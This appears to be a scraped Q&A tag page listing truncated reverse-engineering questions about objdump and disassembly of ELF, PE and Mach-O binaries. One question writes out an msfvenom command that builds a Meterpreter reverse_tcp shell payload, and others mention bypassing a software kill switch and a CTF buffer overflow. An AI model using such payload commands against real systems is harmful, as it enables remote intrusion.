Questions tagged [objdump]
A well known disassembler from the GNU `binutils` package. Only based on the linear sweep techniques and a few more heuristics when symbols can help.
50
questions
1
vote
1
answer
31
views
Disassemble specific mach-o function
I have a mach-o binary and using llvm-objdump version 9 I can disassemble it. I would like to disassemble only a single function though.
If I display the symbol table with --syms I can see the ...
- 107
1
vote
1
answer
68
views
Understanding disassembly information from Visual Studio's dumpbin and GNU's objdump
I usually write my code on Windows, and there are two different types of development environments, each providing their own tools to view the assembly code of an object file(*.obj) or executable (*....
- 123
0
votes
0
answers
35
views
inspecting the .hex file generated by gpasm
To answer my own question here, I wrote a small sample program, example.asm:
var_1 equ H'0001'
constant var_2=H'0002'
#define var_3 H'0003'
cblock H'0004'
var_4
endc
END
and compiled ...
- 159
1
vote
0
answers
103
views
Confusing objdump with data as code
I am trying to confuse objdump to solve the first exercise of chapter 6 in Practical Binary Analysis. Admittedly I am super weak with inline assembler but I made a best-effort attempt and tried to get ...
- 111
1
vote
0
answers
287
views
Tool/parser for symbol tables produced with objdump -t to be used with IDA / Ghidra?
Working with a binary (arm64) file that seems to be some sort of a broken ELF file. The header data is missing and for some reason it contains a symbol table in a format that to me seem to be equal to ...
- 111
0
votes
1
answer
48
views
Objdump -S without assembly
I compiled my c source code and got an elf.
I use "objdump -Sl" but don't need the assembly instructions.
Is there a way to use objdump without the assembly part (or other tool)?
for example,...
- 1
0
votes
0
answers
60
views
objdump says "64-bit address is disabled"
I've run into an issue with the MinGW build of objdump on Windows. Consider this very simple input file:
48 bf 88 77 66 55 44 33 22 11
I want to disassemble this as Intel x86-64 raw machine code. I ...
- 101
0
votes
1
answer
106
views
Link decompiled C code to Assembly (retdec decompiled object into C code, but with many errors, i found the kill switch which i need to edit)
I am using retdec to decompile a piece of software. It has a "kill switch" to detect if it's being run in an untrusted environment, in the decompiled code it just a simple
if (env_untrusted()...
1
vote
0
answers
163
views
How to parse objdump output data?
I'm somehow newbe in reverse engineering and currently I'm reading RE4B book.
In the image above:
I can't figure out the role of s in the functions f1 and f2. As far as I know, based on the last ...
- 187
0
votes
0
answers
75
views
Lexer and parser for .asm file produced by objdump
Is there any existing project that parses the x86 disassembly file or .asm produced by the objdump or IDA pro using the lexer and parser library in python or any other programming language?
- 1
0
votes
2
answers
812
views
How to get address or symbol of the usage of a constant located in rodata?
I have an elf executable. I found a string (awesome string) in my .rodata section:
$ mb-readelf -p 10 a.out
String dump of section '.rodata':
[ 0] Hello world
...
[ ab12] awesome string
......
- 111
3
votes
0
answers
832
views
disassembly - bad results generated with ghidra but not with objdump and IDA
I am using Ghidra to analyze libpng-compat.1.5.10.so (downloaded from Fedora mirrors).
But it didn't load the expected disassembly. Then I used Objdump and IDA to check the code and they get the same ...
- 51
1
vote
2
answers
2k
views
What does objdump -b binary means?
So I have started to digging in malware analysis and I came across with some malware samples that I couldn't disassembly with objdump. More specifically I use
objdump -dS /path/to/malware
and I got ...
- 23
2
votes
1
answer
267
views
How can I objdump the assembler code of dynamically linked functions in a dynamically linked executable?
Compiling a minimal C++ program:
g++ -g -Wall -Wextra -std=c++17 -o prog main.cpp
int main()
{
}
Performing an objdump -C -D prog of all sections I am given the following output:
prog: file ...
- 123
2
votes
0
answers
205
views
How to use arm-none-eabi-objcopy to extract texts, translate, and rebuild ELF file
I have this arm elf file: https://www20.zippyshare.com/v/2yLS1H8D/file.html
I want to extract the user-interface texts to translate them to my local language.
I found the section containing the texts ...
- 21
1
vote
3
answers
8k
views
Use GCC and objdump to disassemble any hex to assembly code
What would be the best way (also fewer steps) to generate assembly code for a given hex code ? For e.g., if we know the architecture is x86, and given hex value 0x55, what is the best way to generate ...
- 11
1
vote
1
answer
7k
views
How do tools like objdump find names of functions and their start address in ELF binaries?
I have written a ELF parser that disassmbles the .text section using capstone
my problem is that i dont know how can i segment the text section based on functions and print the name of the function ...
- 197
1
vote
1
answer
566
views
Find functions names in .init_array section in unstripped library
Is it possible to find out all instances of static initialization in a elf dynamic library.
I can dump the array of function pointers in .init_array section via objdump command like this.
objdump -s -...
- 111
1
vote
1
answer
138
views
IDA plugin to view hex bytes similar to objdump
Is there a plugin or option in IDA that interleavs the hex bytes for
each instruction similar to the output of objdump? I.e. like this:
1800035f1: ff 15 19 5a 00 00 callq *0x5a19(%rip) ...
- 279
1
vote
0
answers
85
views
Missing Map from Java Native Method to C Code
When writing a C implementation for a native Java method in Android, the rule is to name the C function according to the convention "Java_com_...". But I encountered an APK in which there are no such ...
- 121
0
votes
1
answer
1k
views
Generate c like pseudo code from objdump output
Ida has a feature which generates pseudo code from assembly.
Is there a tool under Linux that make the same job, from objdump output for example ?
- 593
-2
votes
2
answers
1k
views
How can I export only the mnemonics from objdump (or any other program)?
I want to do an analysis with the mnemonics. I can export everything to text but I only need the last column. Any idea on how can I solve this?
In other words of this output of objdump (objdump -d ...
- 103
1
vote
3
answers
5k
views
How can I export only the opcodes from objdump (or any other program)
I have multiple malware files, I want to do an analysis with the opcodes. Im able to export everything to text but I only need the middle column. Any idea on how can I solve this?
In other words of ...
1
vote
2
answers
2k
views
newbie trying to understand disassembled code
I have been writing small C programs and then disassembling them to try to understand what is actually happening under the hood.
I am using mingw-w64 on Windows 7 for my work, and I have run into a ...
- 379
23
votes
1
answer
52k
views
Objdump - How to output text (eg ASCII strings) alongside assembly code?
Aim: I want to take hex and ascii data (derived from a binary file using xxd) and use Objdump (or a suitable other tool that Linux comes with) to output the memory addresses / offsets, assembly code, ...
- 355
3
votes
1
answer
687
views
How should I approach a basic CTF exploitation challenge?
Complete newbie alert so apologies on what you're about to read.
I've an executable I'm working with to achieve buffer overflow on. This is for an old CTF that has been and gone but I chose it to ...
- 221
9
votes
2
answers
23k
views
How to reverse engineer a Linux executable to find the parameters? [closed]
So I am on a Linux box with an executable.Vague - I know. This is what happens when I try and run it with an argument/parameter:
me@there:~$ ./theFile theOption -a
./theFile : option requires an ...
- 221
5
votes
2
answers
3k
views
Difference between objdump -r and -R switches
objdump man page says,
-r
--reloc
Print the relocation entries of the file. If used with -d or -D,
the relocations are printed interspersed with the disassembly.
-R
--dynamic-reloc
...
- 1,261
5
votes
1
answer
4k
views
(bad) opcodes of objdump
I'm trying to write my own disassembler for PE,PE+ and ELF executables but I'm stuck with a big problem on PE and PE+ executables.
I'm checking my work by comparing my output with objdump, and I ...
- 75
2
votes
1
answer
3k
views
disassemble elf file created by msfvenom
i create elf with this command: (Dowanlod file - is elf32)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5150 -f elf -o ./rt
and it works nicely, and i want disassemble it but ...
- 177
2
votes
2
answers
631
views
Stuck in x87 FLD instruction
I've been working for my final project which is a disassembler for AMD64 instruction set, and i was trying to disassemble machine code by hand to understand it correctly. But i got stuck at a x87 ...
- 75
3
votes
1
answer
1k
views
Why does objdump show dot dot dot?
I have an (ARM) object file that I want to inspect. There are some instructions that load addresses pointing to another area in the object file. I would like to see the contents of the area, but ...
user187
4
votes
1
answer
1k
views
Different disassembly for the same function?
I have this code:
#include <stdio.h>
int main()
{
printf("a=%d; b=%d; c=%d", 1, 2, 3);
return 0;
};
I compile it with gcc -g 3arg.cpp. Disassemble with objdump -d -M intel a.out. In the output ...
- 41
2
votes
1
answer
149
views
func_name.part.# in objdump disassembly
I was looking at an executable having GMP linked statically to it. The following seems weird.
Disassembly of section .text:
0000000000400e60 <refmpn_fill.part.4>:
400e60: 50 ...
- 1,261
2
votes
1
answer
822
views
Set Breakpoint at Entry point fails (GDB)
I'm currently practicing some RE w/ GDB and am having issues simply stopping the run/start on the first/second instruction. I am new to GDB/RE and have a limited knowledge of some of GDB's inner ...
0
votes
1
answer
298
views
Mapping a high level statement back in assembly dump
Say, I have compiled a large code base, e.g. gzip/gmp/python/php etc. on Linux. Is there any means to map a high level C construct, e.g. assignment/if-else/for/while/Math expression back in the ...
- 1,261
3
votes
1
answer
164
views
Connecting a Motion Simulator to GTA
I'm trying to connect a real-life motion simulator to my pc gaming rig one game at a time. Since all the GTA games are super hackable (with respect to physics, map, & texture hacking), AND the ...
- 33
4
votes
1
answer
3k
views
How to find the size of an array in binary?
I'm currently learning RE and try to understand some basic c programs.
I've almost figure out some concepts, but right now i've no idea how to find the size of an array when i use objdump or gdb.
...
- 143
3
votes
1
answer
4k
views
Unable to dump malware assembly using objdump
I'm trying to dump assembly code of a ShellShock malware explained in this blog post:
MMD-0027-2014 - Linux ELF bash 0day (shellshock): The fun has only just begun... .
After dumping using objdump -...
3
votes
1
answer
439
views
Weird instruction identified on disassembler produced assembly code
Test is on x86 32bit Linux, Ubuntu 12.04, GCC 4.6.3 objdump 2.22
Basically when I use gcc to produce assembly code of function foo like this:
gcc -S foo.c -O2
At the end of function foo, I can get ...
- 2,365
3
votes
1
answer
726
views
conflict function name using objdump to disassemble
So basically when I am using objdump and readelf to disassemble some GNU Coreutils, I find a very weird situation like this:
readelf -s pr | grep bkm_scale
....
176: 08050620 118 FUNC LOCAL ...
- 2,365
3
votes
2
answers
2k
views
How to deal with this “lea” instructions generated by objdump?
So basically I am using objdump to disassemble a binary from `GNU Coreutils", on 32 bit Linux x86.
In the disassembled code, I found one "broken" instruction like this:
804bb49: 8d 04 ed 00 00 00 ...
- 2,365
4
votes
1
answer
427
views
How to deal with this "error" instructions generated by objdump?
So basically I am using objdump to disassemble a binary from GNU Coreutils, on 32-bit Linux x86.
In the disassembled code, I found one "broken" instruction like this:
804b4db: ff 24 85 e4 09 ...
- 2,365
2
votes
2
answers
3k
views
At which address on the stack or in memory is eax stored after the malloc call? [closed]
Here is my objdump -d snippet with the malloc call and surrounding code. This binary is stripped.
dbgLab.bin: file format elf32-i386
080483d0 <malloc@plt>:
80483d0: ff 25 04 a0 04 08 ...
- 385
1
vote
2
answers
638
views
What is the address of main() and how many bytes does it allocate on the stack for its frame size?
Here is my objdump -d output but I do not know where to look. I understand assembly but it is a little confusing trying to find out what the values of registers are at certain points. If anyone knows ...
- 385
7
votes
2
answers
7k
views
How do I view external function calls in dynamically linked ELF binary in linux?
I used the file command in Linux to get information about a binary file. I am also looking for the addresses that these calls are located at. I think I can get this information from GDB or objdump but ...
- 385
5
votes
2
answers
2k
views
What are the sections of a x86 linux binary?
I want to learn reverse engineering so I was starting to try compiling simple (to start with) C programs and then reading the disassembly.
The following file
int main(void) {
return 0;
}
compiled ...
- 53
11
votes
1
answer
26k
views
Looking for exported symbols in a DLL with objdump?
I am a man full of contradictions, I am using Unix and, yet, I want to analyze a Microsoft Windows DLL.
Usually, when looking for symbols in a dynamic or static library in the ELF World, one can ...
- 18.1k
7
votes
4
answers
2k
views
Deal with obfuscated assembly
When using objdump I see the following disassembled code:
8049436: 89 04 24 mov DWORD PTR [esp],eax
8049439: e8 52 f7 ff ff call 8048b90 <gtk_entry_get_text@plt&...
- 173
7
votes
1
answer
891
views
GAS/x86 disassembled a bare gs register as an instruction, is it a bug?
I encountered a strange x86-32 instruction (opcode 0x65) decoded by objdump as gs (not %gs but gs). I found it while a full linear sweep of a binary (objdump -D), so the decoding was surely incorrect. ...
- 18.1k